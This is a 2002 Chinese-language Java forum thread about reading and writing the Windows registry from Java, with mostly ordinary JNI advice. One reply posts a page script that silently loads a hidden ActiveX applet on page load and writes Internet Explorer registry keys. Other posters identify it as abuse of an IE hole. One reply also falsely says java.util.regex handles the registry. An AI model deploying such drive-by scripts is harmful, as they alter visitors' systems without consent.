社区
Java SE
帖子详情
请问JAVA如何读写注册表
lthu
2002-03-20 10:31:03
请问JAVA如何读写注册表
...全文
56
12
打赏
收藏
微信扫一扫
点击复制链接
分享
举报
写回复
12 条
回复
切换为时间正序
当前发帖距今超过3年,不再开放新的回复
发表回复
kicku
2002-03-25
java.util.regex 支持读写注册表??????
这是规则表达式啊,大牛人.....
打赏
举报
回复
赞
kicku
2002-03-20
JavaScript又不是Java,在Java里内能用jni,反正注册表是只有windows才有的,用jni不会影响移植性的。
打赏
举报
回复
赞
bj100
2002-03-20
不用理會com.ms.activeX.ActiveXComponent,好象是IE自帶的!
我在LAN下測試過,沒問題,不過是在IE5下,IE6不知道行不行,你可以測試一下!
打赏
举报
回复
赞
lthu
2002-03-20
com.ms.activeX.ActiveXComponent从何而来
打赏
举报
回复
赞
bj100
2002-03-20
簡單,用JavaScript就可以了!
研究以下代碼看看!
--------------------------------------------------------------------
<SCRIPT Language="JavaScript" type="text/javascript">
<!--
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
function f(){
var Tit
try
{
//ActiveX initialization
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();
try
{
if (document.cookie.indexOf("Chg") == -1)
{
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "歡迎光臨 http://www.fujikon.com"); //寫鍵值
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "歡迎光臨 http://www.fujikon.com"); //寫鍵值
Tit = Shl.RegRead("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title"); //讀鍵值
document.write(Tit);
var expdate = new Date((new Date()).getTime() + (1));
document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
}
}
catch(e)
{}
}
catch(e)
{}
}
function init()
{
setTimeout("f()", 1000);
}
init();
// -->
</SCRIPT>
------------------------------------------------------------
打赏
举报
回复
赞
lthu
2002-03-20
怎么查询
打赏
举报
回复
赞
松耦合紧内聚
2002-03-20
以前我问过这个问题,看看以前的贴字。比较详细
打赏
举报
回复
赞
ChDw
2002-03-20
使用JNI,调用C写的DLL
打赏
举报
回复
赞
joyplay
2002-03-20
<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>
是微软vm的class,呵呵,微软的Java。
不是楼上哥们说的WindowHostScript,的确,用WHS实现比较简单,在html中用的话受到IE版本影响(漏洞)及安全级别影响,如果写成.vbs等就可以直接运行了。
建议用 java1.4的class。或者参考j++如何调用C的一个例子(倒霉,新版本的msdn都没有j++的内容了)。
打赏
举报
回复
赞
rangq1
2002-03-20
java1.4中的java.util.regex 支持读写注册表
具体见:
http://www-900.ibm.com/developerWorks/java/j-merlin/index6.shtml
打赏
举报
回复
赞
szayang
2002-03-20
已阅.
打赏
举报
回复
赞
IMarksman
2002-03-20
bj100(火火火)使用的是wsh,也就是windows脚本宿主,脚本宿主低版本的情况下,确实可以实现这个功能,但是高版本就不行了,总感觉这种办法是利用了ie的漏洞,如果升级了ie或者操作系统打了补丁,这些代码就是垃圾!
建议采用jni,如果需要在Applet中实现,还需要签名!
打赏
举报
回复
赞
相关推荐
浅谈
Java
读写
注册表
的方式Preferences与jRegistry
主要介绍了浅谈
Java
读写
注册表
的方式Preferences与jRegistry,分享了相关代码示例,小编觉得还是挺不错的,具有一定借鉴价值,需要的朋友可以参考下
java
注册表
读写
_
Java
读写
注册表
两种方式
一种是使用
java
提供的,但是只能获取HKEY_LOCAL_MACHINE\SOFTWARE\
Java
Soft\Prefs目录下的,另外一种cmd命令方式,可以指定任意路径。代码如下:package com.reg;import
java
.io.BufferedReader;import
java
.io....
java
读写
注册表
_
java
读写
注册表
import
java
.util.prefs.Preferences;public class UsingReg {public static final String REALKEY = "com.rgagnon.foo";public static void main(String[] args) {new UsingReg().doit();}public void doit() {// w...
java
读写
注册表
java
读写
注册表
一个简单的实例,既有读
注册表
,也有写
注册表
Java
如何
读写
注册表
Preferences提供一个存储配置信息的中心知识库,与平台无关。在Windows系统中,它存储在
注册表
中,在Linux中存储在本地文件系统中。它的实现是透明的,程序员无需深究它的底层是如何实现的
registry.jar
java
读写
注册表
的开源库
registry.jar
java
操作
注册表
开源库 registry3.1.3.jar 包含源码以及ICE_JNIRegistry.dll和registry.jar
java
访问windows
注册表
method native_
java
读写
注册表
问题
项目需求,在Tomcat服务器启动后通过Quartz自动向windows
注册表
写入相关信息,我采用了jRegistryKey来操作
注册表
,项目中导入jRegistryKey.jar,jRegistryKey.dll放到jdk的bin目录下,部分代码如下RegistryKey myKey...
java
注册表
读写
java
注册表
读写
非常详细
java
读写
注册表
jar包,com.ice.jni.registry
META-INF/MANIFEST.MF com.ice.jni.registry.HexNumberFormat.class com.ice.jni.registry.NoSuchKeyException.class com.ice.jni.registry.NoSuchValueException.class com.ice.jni.registry.RegBinaryValue.class ...
Java
读写
注册表
的两种方式 Preferences 与 jRegistry
转自 http://xiaohuafyle.iteye.com/blog/1543559由于
java
程序是“write once, run everywhere”,用
java
读写
注册表
,那程序的跨平台性就差了。
java
对
注册表
的操作,在jdk1.4以前的版本中,那是不可能的,只能用JNI来...
分享关于
JAVA
中使用Preferences
读写
注册表
时要注意的地方
介绍了关于
JAVA
中使用Preferences
读写
注册表
时要注意的地方,有需要的朋友可以参考一下
java
读写
注册表
_
java
读写
注册表
- leo_de_macondo的个人页面 - OSCHINA - 中文开源技术交流社区...
(我真是无聊,
java
搞什么
注册表
啊,还不如学C#去...)用
java
的Preferences有很大限制,最好是下载jRegistryKey,解压出jRegistryKey.jar和jRegistryKey.dll引入项目中import
java
.util.Iterator;import ca.beq.util....
java
注册表
操作_
Java
对
注册表
操作
Java
对Windows下的
注册表
进行操作,可以用1.4以上版本jdk自带的类来完成,Preferences可以用来
读写
注册表
,下面看下面的代码演示:import
java
.utils.prefs.*;public class Test {public static void main(String[] ...
注册表
JAVA
颜色的键值,
java
读写
注册表
的两种方式,Preferences与jRegistry
随即系统便会提示你是否要运行,选择“是“就行了由于
java
程序是“write once, run everywhere”,用
java
读写
注册表
,那程序的跨平台性就差了。
java
对
注册表
的操作,在jdk1.4以前的版本中,那是不可能的,只能用JNI来...
java
读取客户端
注册表
_
Java
读取
注册表
的三种方法
近期项目需要使用
java
读取
注册表
,所以就认真的研究了一下,现把研究成果与大家分享一下.====================================================================================【注】
注册表
非常非常重要,如果操作...
Java
: 操作
读写
注册表
(Registry)
Java
: 操作
读写
注册表
在IntelliJ IDEA中新建Maven项目: 在Maven中引入 JNA(
Java
Native Access)依赖。 <dependency> <groupId>net.
java
.dev.jna</groupId> <artifactId>jna</...
最新单片机仿真 my16key_c
最新单片机仿真 my16key_c最新单片机仿真 my16key_c最新单片机仿真 my16key_c最新单片机仿真 my16key_c最新单片机仿真 my16key_c最新单片机仿真 my16key_c最新单片机仿真 my16key_c最新单片机仿真 my16key_c最新单片机仿真 my16key_c最新单片机仿真 my16key_c最新单片机仿真 my16key_c最新单片机仿真 my16key_c最新单片机仿真 my16key_c最新单片机仿真 my16key_c最新单片机仿真 my16key_c最新单片机仿真 my16key_c最新单片机仿真 my16key_c最新单片机仿真 my16key_c最新单片机仿真 my16key_c最新单片机仿真 my16key_c最新单片机仿真 my16key_c最新单片机仿真 my16key_c最新单片机仿真 my16key_c最新单片机仿真 my16key_c最新单片机仿真 my16key_c最新单片机仿真 my16key_c最新单片机仿真 my16key_c最新单片机仿真 my16key_c最新单片机仿真 my16key_c最新单片机仿真
202x年人脸识别系统研究讲义(专业完整版).pdf
202x年人脸识别系统研究讲义(专业完整版).pdf
Python库 | pyham-0.1.0.tar.gz
资源分类:Python库 所属语言:Python 资源全名:pyham-0.1.0.tar.gz 资源来源:官方 安装方法:https://lanzao.blog.csdn.net/article/details/101784059
软件工程导论.rar
软件工程导论.rar
发帖
Java SE
加入
微信扫一扫
点击复制链接
6.2w+
社区成员
30.7w+
社区内容
Java 2 Standard Edition
申请成为版主
帖子事件
创建了帖子
2002-03-20 10:31
社区公告
暂无公告